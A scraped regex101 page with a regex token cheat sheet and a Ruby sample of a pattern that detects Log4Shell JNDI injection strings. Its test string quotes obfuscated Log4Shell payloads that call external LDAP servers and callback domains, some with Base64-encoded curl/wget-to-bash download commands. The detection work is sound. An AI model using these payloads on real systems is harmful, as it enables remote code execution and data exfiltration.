Regular Expressions 101

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An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
No Match

/
/
gm

Test String

Code Generator

Language

Generated Code

re = /(?i)((%(25){0,}20|\s)*(%(25){0,}24|\$)(%(25){0,}20|\s)*(%(25){0,}7B|{){0,1}(%(25){0,}20|\s)*(%(25){0,}(6A|4A)|J)(%(25){0,}(6E|4E)|N)(%(25){0,}(64|44)|D)(%(25){0,}(69|49)|I)(%(25){0,}20|\s)*(%(25){0,}3A|:)[\w\%]+(%(25){1,}3A|:)(%(25){1,}2F|\/)|\$((::-[A-Z%]}\$){1,}|(ENV|LOWER|UPPER):).+[:}]{2}\/)[^\n]+/m str = 'Primary conditions: (?i)(%(25){0,}20|\\s)*(%(25){0,}24|\\$)(%(25){0,}20|\\s)*(%(25){0,}7B|{){0,1}(%(25){0,}20|\\s)*(%(25){0,}(6A|4A)|J)(%(25){0,}(6E|4E)|N)(%(25){0,}(64|44)|D)(%(25){0,}(69|49)|I)(%(25){0,}20|\\s)*(%(25){0,}3A|:)[\\w\\%]+(%(25){1,}3A|:)(%(25){1,}2F|\\/)[^\\n]+ Secondary conditions: (?i)\\$((::-[A-Z%]}\\$){1,}|(ENV|LOWER|UPPER):).+[:}]{2}\\/[^\\n]+ $$::-j}$::-n}$::-d}$::-i}:$::-l}$::-d}$::-a}$::-p}://$hostName}.c6qg2lspu892jo716f40cg4oaxeyurbne.interactsh.com} $$::-j}$::-n}$::-d}$::-i}:$::-l}$::-d}$::-a}$::-p}://45.146.164.160:1389/t} $$::-j}$::-n}$::-d}$::-i}:$::-l}$::-d}$::-a}$::-p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDYuMjkuMTY4LjI1Mzo0NDN8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUu $$env:ENV_NAME:-j}n$env:ENV_NAME:-d}i$env:ENV_NAME:-:}$env:ENV_NAME:-l}d$env:ENV_NAME:-a}p$env:ENV_NAME:-:}//45.146.164.160:8081/w} $$lower:$lower:jndi}}:ld$lower:ap}://45.146.164.160:1389/t} $$lower:j}$upper:n}$lower:d}$upper:i}:$lower:l}$upper:d}$lower:a}$upper:p}://45.146.164.160:1389/t} $jndi:$lower:l}$lower:d}a$lower:p}://world443.log4j.bin$upper:a}ryedge.io:80/callback} $jndi:ldap://$env:user}.egrc.external.blarg.com.lujv9ndjcmlh27ea91gyrl6umlsbg0.burpcollaborator.net/a} $jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDYuMjkuMTY4LjI1Mjo0NDN8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMjA2LjI5LjE2OC4yNTI6NDQzKXxiYXNo}' # Print the match result str.scan(re) do |match| puts match.to_s end

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Ruby, please visit: http://ruby-doc.org/core-2.2.0/Regexp.html